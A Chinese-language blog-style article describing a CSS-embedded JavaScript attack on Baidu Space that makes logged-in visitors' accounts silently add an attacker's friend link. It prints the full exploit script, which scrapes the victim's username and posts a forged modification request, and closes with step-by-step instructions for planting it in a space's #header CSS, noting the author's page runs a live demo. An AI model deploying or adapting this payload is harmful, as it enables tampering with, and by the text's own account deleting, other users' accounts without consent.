百度空間上線(xiàn)后,很多網(wǎng)友為了宣傳自己的百度空間,瘋狂復制css代碼。但與此同時(shí)也出現了百度空間的網(wǎng)絡(luò )黑手,利用百度空間的功能,加入自己的代碼,而這些代碼又是惡意的,導致百度空間的用戶(hù)遭遇危險。
這是一個(gè)網(wǎng)友發(fā)來(lái)的短信求助,原文如下:
有個(gè)黑客用javascript把我的鏈接改了..并威脅我如果刪除連接就刪除我的空間,最怕的就是這樣的人..我想問(wèn)您了解一下他能用同樣的手段篡改我頁(yè)面的其他信息嗎..最好能告訴小弟對付這樣的人的辦法,我實(shí)在沒(méi)轍了,好郁悶..謝謝..
當時(shí)筆者找到該黑客的空間,輕松發(fā)現其利用css代碼加入js代碼,然后又利用js代碼的功能,分析百度空間在提交數據時(shí)的參數,構造出來(lái)一個(gè)惡意的js代碼,功能是提交一個(gè)加入友情鏈接的請求到百度空間,導致訪(fǎng)問(wèn)該網(wǎng)站的已登陸百度空間用戶(hù)在自己空間上自動(dòng)的加一個(gè)友情鏈接.
下邊是利用代碼:
javascript:document.body.onload = function(){
var req = null;
if(window.XMLHttpRequest) req = new XMLHttpRequest();
else if(window.ActiveXObject){
var msxml = new Array(MSXML2.XMLHTTP.5.0, MSXML2.XMLHTTP.4.0, MSXML2.XMLHTTP.3.0, MSXML2.XMLHTTP, Microsoft.XMLHTTP);
for(var i=0;i
try{req.overrideMimeType(text/xml)}catch(e){}
}
req.open(get,.,false);
req.send();
var s=req.responseText;
p=s.indexOf(passport.baidu.com/?logout);
if(p>0)
{
p=s.indexOf();
if(p>0)
{
p=s.indexOf(/,p);
p2=s.indexOf(String.fromCharCode(34),p);
var user=s.substring(p+1,p2);
var name=+%B0%D9%B6%C8%BF%D5%BC%E4%B7%A2%CC%FB%D6%FA%CA%D6 ;
var link=http://hi.baidu.com/haomm;
var desc=%CA%B9%C4%E3%B5%C4%B0%D9%B6%C8%BF%D5%BC%E4%D6%A7%B3%D6html%B7%A2%CC%FB;
var url=/+user+/commit;
var data=ct=6&cm=1&spRef=+escape(http://hi.baidu.com/+user)+%2Fmodify%2Fbuddylink%2F0&spBuddyName=+escape(name)+&spBuddyURL=+escape(link)+&spBuddyIntro=+escape(desc);
req.open(post,url,false);
req.send(data);
}
}
}
分析:
該方法危險等級:高級.構造相應的js代碼可以刪除用戶(hù)空間的所有數據.該漏洞目前未發(fā)現有惡意刪除的現象,但已足夠危險,請用戶(hù)小心.
解決辦法:
由于攻擊者可能利用任何用戶(hù)名的百度空間提交增加,刪除,更改的鏈接,所以目前沒(méi)有完美解決辦法.
給已經(jīng)受害者解決辦法:刪除惡意鏈接,不再在登陸的情況下訪(fǎng)問(wèn)其空間鏈接.
利用方法,演示及聲明:
本空間加入了該漏洞代碼的利用演示,使用方法:在自己空間css里面找到#header{},在里面加入上述代碼即可.形式如:#header{height:200px;background:url(上文js代碼);}請小心使用.
聯(lián)系客服